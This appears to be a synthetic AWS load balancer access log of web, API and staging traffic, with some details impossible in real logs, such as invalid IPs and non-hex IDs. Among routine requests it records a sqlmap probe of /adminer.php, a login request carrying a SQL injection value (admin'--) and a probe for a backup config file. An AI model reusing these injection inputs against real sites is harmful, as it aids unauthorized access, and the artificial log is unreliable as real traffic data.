2024-11-01T02:29:50.214287Z "forward" "-" "-" "10.0.46.209:443" "403" "-" "-" +https 2024-11-01T02:29:50.929608Z prod-web-alb 99.210.41.93:15520 10.0.187.179:443 0.036707 0.001073 0.055106 200 200 222 14838 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723daae-0037a51b4f9045d4af4380ac" "prod-web-alb.example.com" "-" 0 2024-11-01T02:29:50.929608Z "forward" "-" "-" "10.0.187.179:443" "200" "-" "-" +https 2024-11-01T02:29:51.632497Z prod-web-alb 219.4.48.54:57304 10.0.68.225:443 0.073457 0.113114 0.066404 301 301 629 3457 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daaf-a9e2705cb8fe4018aee4a7a7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:29:51.632497Z "forward" "-" "-" "10.0.68.225:443" "301" "-" "-" +https 2024-11-01T02:29:52.037999Z prod-web-alb 29.156.42.12:63679 10.0.79.11:443 0.093548 0.484510 0.090942 404 404 216 12112 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dab0-a243f42e138e4a52b7b379ef" "prod-web-alb.example.com" "-" 6 2024-11-01T02:29:52.037999Z "forward" "-" "-" "10.0.79.11:443" "404" "-" "-" +https 2024-11-01T02:29:52.253673Z prod-web-alb 45.155.205.9:59664 10.0.30.83:443 0.079021 0.352292 0.047217 301 301 223 7024 "POST /adminer.php HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dab0-f7ad6a3b2eda476d99bc570f" "-" "-" 6 2024-11-01T02:29:52.253673Z "forward" "-" "-" "10.0.30.83:443" "301" "-" "-" +https 2024-11-01T02:29:53.328917Z prod-web-alb 201.79.29.200:23254 10.0.95.88:443 0.057859 0.130085 0.065467 404 404 348 8372 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dab1-cfb6e623b96a406ba773e857" "prod-web-alb.example.com" "-" 0 2024-11-01T02:29:53.328917Z "forward" "-" "-" "10.0.95.88:443" "404" "-" "-" +https 2024-11-01T02:29:53.919658Z staging-alb 255.159.235.84:62839 104.231.198.244:8080 0.079077 0.103182 0.105297 302 302 538 5690 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dab1-09f51506f92e4e23bb5cecc5" "staging-alb.example.com" "-" 8 2024-11-01T02:29:53.919658Z "forward" "-" "-" "104.231.198.244:8080" "302" "-" "-" +https 2024-11-01T02:29:55.666889Z prod-api-alb 43.103.180.64:14960 10.0.120.64:443 0.065070 0.146264 0.039455 200 200 498 10731 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dab3-bc309e72ac9a480e80ec60d9" "prod-api-alb.example.com" "-" 1 2024-11-01T02:29:55.666889Z "forward" "-" "-" "10.0.120.64:443" "200" "-" "-" +https 2024-11-01T02:29:56.241846Z prod-api-alb 214.126.227.65:61874 10.0.80.110:443 0.064599 0.477592 0.071726 301 301 326 983 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dab4-7da607b882834754908ae5fb" "prod-api-alb.example.com" "-" 8 2024-11-01T02:29:56.241846Z "forward" "-" "-" "10.0.80.110:443" "301" "-" "-" +https 2024-11-01T02:29:57.284445Z prod-api-alb 85.67.80.35:16654 10.0.182.80:443 0.071204 0.183254 0.057629 302 302 930 10037 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dab5-e56901ce29804b1aa0ae06dc" "-" "-" 4 2024-11-01T02:29:57.284445Z "forward" "-" "-" "10.0.182.80:443" "302" "-" "-" +https 2024-11-01T02:29:57.405763Z prod-api-alb 227.131.199.51:17371 10.0.153.158:443 0.078043 0.303495 0.074367 200 200 921 7559 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dab5-bc69d40fddb64dbeb153479a" "prod-api-alb.example.com" "-" 10 2024-11-01T02:29:57.405763Z "forward" "-" "-" "10.0.153.158:443" "200" "-" "-" +https 2024-11-01T02:29:57.527546Z prod-web-alb 255.218.187.169:53052 10.0.11.211:443 0.080735 0.472177 0.070760 301 301 478 2957 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dab5-1860ccc4acb4428686cb886d" "prod-web-alb.example.com" "-" 9 2024-11-01T02:29:57.527546Z "forward" "-" "-" "10.0.11.211:443" "301" "-" "-" +https 2024-11-01T02:29:57.697579Z prod-web-alb 187.2.13.117:35693 10.0.17.51:443 0.025232 0.223137 0.086024 200 200 415 6565 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dab5-ee67621a0f14439895720f55" "prod-web-alb.example.com" "-" 5 2024-11-01T02:29:57.697579Z "forward" "-" "-" "10.0.17.51:443" "200" "-" "-" +http 2024-11-01T02:29:59.641714Z staging-alb 239.220.240.39:16216 6.48.7.99:443 0.027076 0.426818 0.005527 200 200 835 12178 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dab7-a971c64394664c11bc149fc9" "staging-alb.example.com" "-" 7 2024-11-01T02:29:59.641714Z "forward" "-" "-" "6.48.7.99:443" "200" "-" "-" +https 2024-11-01T02:30:00.226378Z prod-web-alb 244.123.215.28:11590 10.0.38.96:443 0.068632 0.250617 0.090191 301 301 659 14485 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dab8-a62e892db8ad439e8dced270" "prod-web-alb.example.com" "-" 10 2024-11-01T02:30:00.226378Z "forward" "-" "-" "10.0.38.96:443" "301" "-" "-" +https 2024-11-01T02:30:01.001043Z prod-web-alb 127.147.144.76:45410 10.0.224.60:443 0.002455 0.460892 0.014894 301 301 417 8432 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dab9-e203c9db4b15487b878a69dd" "prod-web-alb.example.com" "-" 9 2024-11-01T02:30:01.001043Z "forward" "-" "-" "10.0.224.60:443" "301" "-" "-" +https 2024-11-01T02:30:02.196487Z prod-api-alb 237.183.208.8:20758 10.0.106.189:443 0.078552 0.376710 0.035306 200 200 428 3372 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daba-8dc0293bfdc349cab4f3456f" "prod-api-alb.example.com" "-" 5 2024-11-01T02:30:02.196487Z "forward" "-" "-" "10.0.106.189:443" "200" "-" "-" +https 2024-11-01T02:30:04.072152Z prod-api-alb 67.37.246.238:47282 10.0.17.13:443 0.073255 0.045890 0.001554 200 200 145 9063 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dabc-e7fc4e064a814bd187842b06" "prod-api-alb.example.com" "-" 7 2024-11-01T02:30:04.072152Z "forward" "-" "-" "10.0.17.13:443" "200" "-" "-" +https 2024-11-01T02:30:05.890932Z prod-api-alb 225.162.21.27:41633 10.0.187.125:443 0.034002 0.012009 0.029631 404 404 227 6325 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dabd-95f0dd1979574994a1352e1d" "prod-api-alb.example.com" "-" 7 2024-11-01T02:30:05.890932Z "forward" "-" "-" "10.0.187.125:443" "404" "-" "-" +https 2024-11-01T02:30:06.962339Z prod-web-alb 156.50.24.30:20800 10.0.87.50:443 0.096853 0.079771 0.002997 404 404 4 6559 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dabe-080d6222e5cf4b5a9003fd0f" "prod-web-alb.example.com" "-" 10 2024-11-01T02:30:06.962339Z "forward" "-" "-" "10.0.87.50:443" "404" "-" "-" +https 2024-11-01T02:30:07.153093Z prod-api-alb 4.63.173.90:20636 10.0.113.57:443 0.096326 0.124849 0.007804 200 200 282 13676 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dabf-507feb0d7f8a48b08b9a755a" "prod-api-alb.example.com" "-" 0 2024-11-01T02:30:07.153093Z "forward" "-" "-" "10.0.113.57:443" "200" "-" "-" +https 2024-11-01T02:30:07.351837Z prod-api-alb 111.205.72.46:49452 10.0.25.199:443 0.025186 0.179540 0.053404 200 200 746 7412 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dabf-63d91a2f83a9445faf798a33" "prod-api-alb.example.com" "-" 3 2024-11-01T02:30:07.351837Z "forward" "-" "-" "10.0.25.199:443" "200" "-" "-" +https 2024-11-01T02:30:09.241962Z prod-api-alb 185.181.178.132:15093 10.0.26.158:443 0.083768 0.396444 0.072871 200 200 316 10152 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dac1-95d20fd399664b588e4af424" "-" "-" 1 2024-11-01T02:30:09.241962Z "forward" "-" "-" "10.0.26.158:443" "200" "-" "-" +https 2024-11-01T02:30:10.219886Z prod-api-alb 115.152.57.45:12098 10.0.233.44:443 0.052747 0.317550 0.055052 200 200 36 10525 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dac2-a7b43d8ee2b54dacbe8fae91" "prod-api-alb.example.com" "-" 5 2024-11-01T02:30:10.219886Z "forward" "-" "-" "10.0.233.44:443" "200" "-" "-" +https 2024-11-01T02:30:12.005368Z prod-api-alb 215.31.16.91:57860 10.0.23.69:443 0.092970 0.336278 0.022731 200 200 803 937 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dac4-3185b6b873e1415b90cfcec9" "prod-api-alb.example.com" "-" 9 2024-11-01T02:30:12.005368Z "forward" "-" "-" "10.0.23.69:443" "200" "-" "-" +http 2024-11-01T02:30:12.635020Z staging-alb 67.237.119.135:10641 30.88.45.132:443 0.088983 0.267013 0.094891 200 200 618 9044 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dac4-47f2777c049a485d867a5f3b" "staging-alb.example.com" "-" 10 2024-11-01T02:30:12.635020Z "forward" "-" "-" "30.88.45.132:443" "200" "-" "-" +https 2024-11-01T02:30:13.471095Z prod-web-alb 64.15.244.29:18927 10.0.233.94:443 0.035552 0.140349 0.061637 200 200 144 7137 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dac5-9d167cc189dd473888a9c56e" "prod-web-alb.example.com" "-" 4 2024-11-01T02:30:13.471095Z "forward" "-" "-" "10.0.233.94:443" "200" "-" "-" +http 2024-11-01T02:30:13.958582Z staging-alb 68.24.156.126:41423 189.245.77.131:8080 0.075060 0.563040 0.006638 200 200 341 5791 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dac5-5d21c97e181644aba950d03d" "staging-alb.example.com" "-" 1 2024-11-01T02:30:13.958582Z "forward" "-" "-" "189.245.77.131:8080" "200" "-" "-" +https 2024-11-01T02:30:15.520811Z staging-alb 16.100.48.121:38163 158.202.55.198:443 0.097629 0.444910 0.037972 200 200 461 2900 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dac7-e44dec1858754921b721db46" "staging-alb.example.com" "-" 5 2024-11-01T02:30:15.520811Z "forward" "-" "-" "158.202.55.198:443" "200" "-" "-" +https 2024-11-01T02:30:17.287824Z prod-api-alb 228.161.87.218:32195 10.0.9.94:443 0.001207 0.103729 0.079213 301 301 706 321 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dac9-6abf5a56d4d8461abf3d20a5" "prod-api-alb.example.com" "-" 2 2024-11-01T02:30:17.287824Z "forward" "-" "-" "10.0.9.94:443" "301" "-" "-" +https 2024-11-01T02:30:18.005651Z prod-api-alb 157.131.71.166:47909 10.0.23.236:443 0.064608 0.299615 0.051453 404 404 846 9704 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723daca-f722149b86114f84b0de82c5" "prod-api-alb.example.com" "-" 0 2024-11-01T02:30:18.005651Z "forward" "-" "-" "10.0.23.236:443" "404" "-" "-" +https 2024-11-01T02:30:18.434623Z prod-api-alb 4.14.253.185:14325 10.0.173.217:443 0.019458 0.386935 0.045608 404 404 873 1923 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daca-e8f96d6059fd4fd6a3d86b99" "prod-api-alb.example.com" "-" 5 2024-11-01T02:30:18.434623Z "forward" "-" "-" "10.0.173.217:443" "404" "-" "-" +https 2024-11-01T02:30:20.111155Z prod-web-alb 158.251.13.243:60185 10.0.241.104:443 0.081035 0.135915 0.070790 302 302 355 10960 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dacc-91aaec7c6a2e48388e373dae" "prod-web-alb.example.com" "-" 3 2024-11-01T02:30:20.111155Z "forward" "-" "-" "10.0.241.104:443" "302" "-" "-" +https 2024-11-01T02:30:21.153403Z prod-web-alb 111.92.240.112:58519 10.0.67.205:443 0.027279 0.234418 0.055867 200 200 249 4466 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dacd-ae15fecddace48ecad1447a4" "prod-web-alb.example.com" "-" 2 2024-11-01T02:30:21.153403Z "forward" "-" "-" "10.0.67.205:443" "200" "-" "-" +https 2024-11-01T02:30:22.992060Z prod-web-alb 183.35.168.224:34061 10.0.18.120:443 0.066825 0.461637 0.035053 200 200 883 3092 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dace-aced868cb8094f1398893562" "prod-web-alb.example.com" "-" 10 2024-11-01T02:30:22.992060Z "forward" "-" "-" "10.0.18.120:443" "200" "-" "-" +https 2024-11-01T02:30:23.779506Z prod-api-alb 162.162.110.222:40543 10.0.123.8:443 0.051024 0.058104 0.025041 200 200 893 1299 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dacf-d5fc07921c1e4e0ab06a82fd" "prod-api-alb.example.com" "-" 7 2024-11-01T02:30:23.779506Z "forward" "-" "-" "10.0.123.8:443" "200" "-" "-" +https 2024-11-01T02:30:24.505564Z prod-api-alb 191.25.200.227:45488 10.0.202.122:443 0.054422 0.035061 0.035147 200 200 288 1510 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dad0-712f4e8c1e27414c8dbf4fb3" "prod-api-alb.example.com" "-" 1 2024-11-01T02:30:24.505564Z "forward" "-" "-" "10.0.202.122:443" "200" "-" "-" +https 2024-11-01T02:30:25.417418Z prod-web-alb 81.117.139.235:61059 10.0.166.140:443 0.064871 0.283473 0.061370 404 404 635 2415 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dad1-951962a4d1b64907a04b5b4c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:30:25.417418Z "forward" "-" "-" "10.0.166.140:443" "404" "-" "-" +https 2024-11-01T02:30:26.830464Z prod-api-alb 193.27.228.51:51791 10.0.8.32:443 0.035356 0.214263 0.070965 401 401 17 7184 "GET /config.php~ HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dad2-3790b2fc9ea34d648451f612" "-" "-" 0 2024-11-01T02:30:26.830464Z "forward" "-" "-" "10.0.8.32:443" "401" "-" "-" +http 2024-11-01T02:30:28.659622Z staging-alb 251.185.31.33:60921 116.174.96.135:80 0.094312 0.338150 0.052210 404 404 502 944 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dad4-6cd07be56fc940f796523f1c" "staging-alb.example.com" "-" 1 2024-11-01T02:30:28.659622Z "forward" "-" "-" "116.174.96.135:80" "404" "-" "-" +http 2024-11-01T02:30:29.124079Z staging-alb 59.110.11.167:62945 176.252.72.177:80 0.065865 0.169363 0.102171 301 301 885 1647 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dad5-847573e66f064b34a87d3cbf" "staging-alb.example.com" "-" 5 2024-11-01T02:30:29.124079Z "forward" "-" "-" "176.252.72.177:80" "301" "-" "-" +https 2024-11-01T02:30:30.233851Z prod-web-alb 158.173.180.105:28486 10.0.221.229:443 0.080085 0.379919 0.080680 301 301 308 8062 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dad6-98be6e8d0eca4e5f93bd2d30" "prod-web-alb.example.com" "-" 9 2024-11-01T02:30:30.233851Z "forward" "-" "-" "10.0.221.229:443" "301" "-" "-" +https 2024-11-01T02:30:31.721231Z prod-web-alb 209.234.2.61:32749 10.0.157.68:443 0.079185 0.004393 0.046101 200 200 160 3236 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dad7-99d44f38ce1c41e6b4b51e1e" "prod-web-alb.example.com" "-" 4 2024-11-01T02:30:31.721231Z "forward" "-" "-" "10.0.157.68:443" "200" "-" "-" +https 2024-11-01T02:30:33.391456Z prod-web-alb 149.204.102.89:64847 10.0.96.202:443 0.090043 0.013465 0.061164 404 404 279 13469 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dad9-5f57339e9d594ad8957a034b" "prod-web-alb.example.com" "-" 3 2024-11-01T02:30:33.391456Z "forward" "-" "-" "10.0.96.202:443" "404" "-" "-" +https 2024-11-01T02:30:35.024143Z prod-web-alb 197.186.247.41:44175 10.0.152.3:443 0.022966 0.321334 0.072840 200 200 316 9421 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dadb-cf4a13df64e94db4ab5dc639" "prod-web-alb.example.com" "-" 3 2024-11-01T02:30:35.024143Z "forward" "-" "-" "10.0.152.3:443" "200" "-" "-" +https 2024-11-01T02:30:36.067715Z prod-web-alb 243.18.45.241:33687 10.0.122.194:443 0.089141 0.062285 0.023280 404 404 725 2037 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dadc-f518193980264a038570aaa5" "prod-web-alb.example.com" "-" 6 2024-11-01T02:30:36.067715Z "forward" "-" "-" "10.0.122.194:443" "404" "-" "-" +https 2024-11-01T02:30:36.491041Z prod-web-alb 210.106.8.39:20423 10.0.245.129:443 0.084326 0.148901 0.037080 200 200 989 9253 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dadc-d1844d18a60544e3b82e9b8a" "prod-web-alb.example.com" "-" 5 2024-11-01T02:30:36.491041Z "forward" "-" "-" "10.0.245.129:443" "200" "-" "-" +https 2024-11-01T02:30:38.057950Z prod-web-alb 65.9.186.89:55552 10.0.240.179:443 0.030275 0.444066 0.092060 200 200 347 14550 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 